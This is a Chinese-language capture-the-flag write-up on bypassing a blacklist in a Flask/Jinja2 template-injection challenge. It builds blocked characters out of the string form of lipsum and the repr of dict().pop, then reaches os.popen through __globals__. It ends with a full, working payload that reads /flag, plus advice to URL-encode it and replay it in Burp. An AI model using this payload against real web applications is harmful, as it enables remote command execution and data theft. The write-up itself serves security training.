
用7+7测试后发现成功进行算数,


通过config能看到是Flask 模板。


经过测试后发现引号,点,下划线等等都进了黑名单。



但我们可以得到一串每次请求都固定的文字,当 "字母仓库":
{{lipsum|string}}
lipsum:Jinja2 模板自带的全局函数。|:管道符,把左边的值 "喂给" 右边的过滤器。string:把对象转成它的字符串样子。

lipsum 是 Jinja2 模板内置的一个函数, 但函数本身是个 "对象" 不是文字,没法直接当字符用。|string 过滤器的职责就是把任意对象转成它的文字描述 ------Python 对一个函数做这件事时,固定输出 <function 它的真名 内存地址>。而 lipsum 的真名恰好叫 generate_lorem_ipsum,于是我们可以看到<function generate_lorem_ipsum 。这串文字内容固定、字母齐全还带下划线,就成了我们的 "字母仓库"。
而第一个下划线_数下标从左往右数位于第18位。
我们把这19个字符组成一组,第一组有0~18位,我们需要拿第一组的最后一位,也就是下划线_。
{{(lipsum|string)|batch(19)|first|last}}
(lipsum|string):先拿到字母仓库。|batch(19):把按每 19 个字符成一组,第一组 = 第 0~18 位。|first:拿第一组;|last:拿这一组最后一个 = 第 18 位。- 查表后第 18 位正好是下划线
_,于是回显_。所以哪怕下划线进了黑名单,我们也能不打下划线也能得到下划线。

假如说我们要取f,f按下标来说位于1,按每两个字符进行分组,第一组=\<,f,由last取最后一个也就是f:
{{(lipsum|string)|batch(2)|first|last}}

所以我们可以取出里面的任意字母。
但是这里面缺少了几个字母,如果最终我们要拿 __globals__,所以b就很重要。
Python 把任意"内置方法对象 "转成字符串时,固定长这样:<built-in method 方法名 of 类型 object...> ------ 开头 built-in 就自带 b,所以我们要找一个没进黑名单并且自带内置方法的对象,比如说dict()空字典,而这个空字典的字典方法里有几个都在仓库字母里的,比如pop,get。这里我们用pop。
如果写 dict().pop,点号却被过滤了,虽然可以用 |attr("pop"),可**引号也被过滤,**所以得用 ~进行拼接:
-
(lipsum|string)|batch(27)|first|last= 第 26 位 = p -
(lipsum|string)|batch(8)|first|last= 第 7 位 = o -
再来一个 batch (27) = p
-
~是 Jinja 的字符串拼接符,三段拼成 pop ;外面多包一层
( )是把整个拼接结果作为 attr 的一个参数。(lipsum|string)|batch(27)|first|last(lipsum|string)|batch(8)|first|last(lipsum|string)|batch(27)|first|last
+
{{dict()|attr(())|string}}{{dict()|attr(((lipsum|string)|batch(27)|first|last(lipsum|string)|batch(8)|first|last(lipsum|string)|batch(27)|first|last))|string}}

但是到这里有个问题,像之前我们的pop这些都是特别短的内联写法,而__globals__这类的却有11个字符,真要搞下来估计连ai都搞不明白了。
那就换个方式。
我们把一个值存在变量里面,也就是{%set 变量=值%},它是 Jinja2 里的赋值语句。
所以我们先把整个字母仓库存到S里面,
{%set S=lipsum|string%}
与原来的效果是一样的,同样可以得到固定仓库。
接下来就是取下划线,变量名为und。
{%set und=S|batch(19)|first|last%}
然后我们把可能需要的字母一个个拿出来并放进不同的变量里。
{%set fc=S|batch(2)|first|last%} f
{%set uc=S|batch(3)|first|last%} u
{%set nc=S|batch(4)|first|last%} n
{%set cc=S|batch(5)|first|last%} c
{%set tc=S|batch(6)|first|last%} t
{%set ic=S|batch(7)|first|last%} i
{%set oc=S|batch(8)|first|last%} o
{%set gc=S|batch(11)|first|last%} g
{%set ec=S|batch(12)|first|last%} e
{%set rc=S|batch(15)|first|last%} r
{%set ac=S|batch(16)|first|last%} a
{%set lc=S|batch(20)|first|last%} l
{%set mc=S|batch(24)|first|last%} m
{%set pc=S|batch(27)|first|last%} p
{%set sc=S|batch(28)|first|last%} s
{%set xc=S|batch(36)|first|last%} x
{%set dc=S|batch(47)|first|last%} d
{%set spc=S|batch(10)|first|last%} 空格
接下来就是把pop存放进一个变量里。
{%set pn=pc~oc~pc%} = p~o~p = "pop"
接下来把我们的dict()空字典存放进变量里。
{%set D=dict()|attr(pn)|string%}
接下来拼出__globals__。
{%set H=und~und~gc~lc~oc~bc~ac~lc~sc~und~und%}
接下来拼出__getitem__和os。
{%set I=und~und~gc~ec~tc~ic~tc~ec~mc~und~und%}
{%set J=oc~sc%}
名字备齐全了,可以开始取对象了,先从函数的全局变量字典开始。
{%set K=lipsum|attr(H)%} =lipsum.__globals__
既然可以dict()|attr("pop")=dict().pop,那也可以globals。
而Jinja2 的 utils.py 必然 import os,所以这本全局字典里必然登记着 os;
__getitem__ 则是字典取键 ['os'] 的底层方法;
所以连起来就是:
{%set L=K|attr(I)(J)%}
=
K.__getitem__("os")
=
__globals__["os"]
os被存进了变量L里面。最后我们的命令执行需要cat /flag。因为引号进了黑名单,写不出字面的"/",字母仓库里也拿不出/,所以只好让 Python 自己吐出一个斜杠存进变量里
在os模块中,有个separator(简写为sep) 分隔符,对象是当前的系统,假如当前系统为linux,则这个分隔符为/,加入是windows,则是\\,而当前系统就为linux,所以我们os.sep就能得到/。
相对应的,os.curdir 能得到点号 "."。
把os.sep存进变量M。
{%set M=L|attr(sc~ec~pc)%}
=
L.sep
既然要执行cat /flag,就要有一个能够执行系统命令的os模块里的函数。比如说打开进程就是process open,简写为popen,把这个存进变量N里。
{%set N=pc~oc~pc~ec~nc%}
popen虽然把我们的命令执行了,但执行后的内容还在里面,并没有被读取出来,所以我们要有一个read方法并最后调用它,把read方法存进变量O里面。
{%set O=rc~ec~ac~dc%}
最后就是cat /flag,注意要有个空格和变量M,存进变量p里面:
{%set P=cc~ac~tc~spc~M~fc~lc~ac~gc%}
变量存完了,先来总结一下。需要调用__globals__的os(L)模块里的popen(N)方法,然后通过popen(N)方法执行我们的cat /flag(P)命令,最后再调用read(O)方法把执行后的内容读取出来,注意os模块是在 __globals__里的,所以我们要取的变量是L,而不是直接取os的变量J。
具体如下:
os.popen("cat /flag").read()
=
{{L|attr(N)(P)|attr(O)()}}
最后把以上的全部连起来,注意要去掉空格并且set后要换行。
因为有空格会被黑名单拦截,没空格setS直接被当成一个词,所以只能换行,换行也是合法空白,能替空格分词。
{%set
S=lipsum|string%}{%set
und=S|batch(19)|first|last%}{%set
fc=S|batch(2)|first|last%}{%set
uc=S|batch(3)|first|last%}{%set
nc=S|batch(4)|first|last%}{%set
cc=S|batch(5)|first|last%}{%set
tc=S|batch(6)|first|last%}{%set
ic=S|batch(7)|first|last%}{%set
oc=S|batch(8)|first|last%}{%set
gc=S|batch(11)|first|last%}{%set
ec=S|batch(12)|first|last%}{%set
rc=S|batch(15)|first|last%}{%set
ac=S|batch(16)|first|last%}{%set
lc=S|batch(20)|first|last%}{%set
mc=S|batch(24)|first|last%}{%set
pc=S|batch(27)|first|last%}{%set
sc=S|batch(28)|first|last%}{%set
xc=S|batch(36)|first|last%}{%set
dc=S|batch(47)|first|last%}{%set
spc=S|batch(10)|first|last%}{%set
pn=pc~oc~pc%}{%set
D=dict()|attr(pn)|string%}{%set
bc=D|batch(2)|first|last%}{%set
H=und~und~gc~lc~oc~bc~ac~lc~sc~und~und%}{%set
I=und~und~gc~ec~tc~ic~tc~ec~mc~und~und%}{%set
J=oc~sc%}{%set
K=lipsum|attr(H)%}{%set
L=K|attr(I)(J)%}{%set
M=L|attr(sc~ec~pc)%}{%set
N=pc~oc~pc~ec~nc%}{%set
O=rc~ec~ac~dc%}{%set
P=cc~ac~tc~spc~M~fc~lc~ac~gc%}{{L|attr(N)(P)|attr(O)()}}
因为再输入框里无法进行换行,所以得去bp里重放,当然在此之前得先进行url编码,不然很容易和原来bp里的格式冲突。
最终成功得到flag:
